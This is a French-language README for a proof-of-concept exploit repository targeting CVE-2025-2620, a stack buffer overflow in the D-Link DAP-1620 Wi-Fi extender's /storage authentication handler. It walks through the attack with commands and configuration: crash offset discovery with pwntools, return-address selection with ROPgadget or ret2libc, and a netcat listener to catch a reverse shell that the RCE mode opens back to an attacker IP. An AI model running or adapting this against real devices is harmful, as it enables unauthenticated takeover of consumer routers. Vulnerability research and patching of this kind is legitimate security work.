
Ce dépôt contient un exploit de preuve de concept (PoC) avancé pour CVE-2025-2620, une vulnérabilité critique de type débordement de tampon dans la pile découverte dans le routeur D-Link DAP-1620 exécutant la version de firmware 1.03. Cette vulnérabilité permet à des attaquants distants non authentifiés de faire planter le serveur web du routeur (Déni de service, DoS) et potentiellement d'exécuter du code arbitraire (Exécution de code à distance, RCE).
Le but de ce projet est de démontrer des compétences en développement d'exploits.
CVE-2025-2620 affecte la fonction mod_graph_auth_uri_handler du routeur D-Link DAP-1620, plus précisément au niveau du point de terminaison /storage. La vulnérabilité est causée par une mauvaise vérification des limites, permettant à un attaquant d'envoyer une entrée volumineuse qui dépasse la taille du tampon alloué, entraînant un débordement de tampon dans la pile.
La fonction vulnérable traite un paramètre d'authentification (auth) provenant des requêtes HTTP :
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process authentication...
}
Un attaquant envoyant une charge utile surdimensionnée (par exemple, 1024+ octets) écrase la mémoire adjacente, y compris l'adresse de retour de la fonction, ce qui peut conduire à une exécution de code.
Le D-Link DAP-1620 est un extenseur de portée Wi-Fi avec les spécifications suivantes :
D'autres routeurs/extenseurs D-Link avec un firmware similaire peuvent également être affectés.
PoC combiné – Comprend à la fois le test de débordement de tampon et l'exploit RCE.
Test de débordement de tampon dans la pile – Identifie les routeurs vulnérables.
Exploit complet d'exécution de code à distance (RCE) – Ouvre un shell inverse.
Taille de charge utile et adresse de retour configurables – Adaptable à différents modèles de routeurs.
Débogage amélioré – Journalise les décalages de crash pour affiner les paramètres de l'exploit.
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
Assurez-vous que Python3 et pwntools sont installés :
pip install pwntools
Modifiez le script CVE-2025-2620_poc.py :
TARGET_IP = "192.168.0.1" # change to match your router
ATTACKER_IP = "192.168.0.100" # change to your local IP
ATTACKER_PORT = 4444 # change if needed
BUFFER_SIZE = 8000 # Increase if the router does not crash
Modifiez le PoC pour générer un motif unique et l'envoyer :
MODE = "overflow" # Set to "overflow" to find the offset
Exécutez le script :
python3 CVE-2025-2620_poc.py
Après avoir fait planter le routeur, vérifiez l'adresse de défaut de segmentation (EIP sur x86 ou RA sur MIPS) à partir de :
gdb)dmesg | grep 'segfault'Recherchez une adresse comme 0x61616161 (ce qui signifie qu'une partie du motif cyclique a écrasé le pointeur de retour).
Utilisez cyclic_find pour localiser le décalage exact :
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Replace with the crash address
Cela donne la valeur exacte de OFFSET. Mettez à jour votre PoC :
OFFSET = <FOUND OFFSET> # Replace with the actual number
RET_ADDR)Option 1 : Trouver un gadget JMP ou CALL
ROPgadget --binary vulnerable_binary | grep "jmp"
Choisissez une adresse qui saute vers un registre (par exemple, jmp $sp ou jmp $ra).
Option 2 : Utiliser une adresse ret2libc
Trouvez l'adresse de system() dans libc :
objdump -D /lib/libc.so.6 | grep "system"
Ensuite, utilisez-la comme RET_ADDR :
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Replace with actual address
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Développé avec ❤️ par Otsmane Ahmed
| Métrique | Valeur |
|---|
| Vecteur d'attaque | Réseau |
| Complexité d'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Élevé |
| Impact sur la disponibilité | Élevé |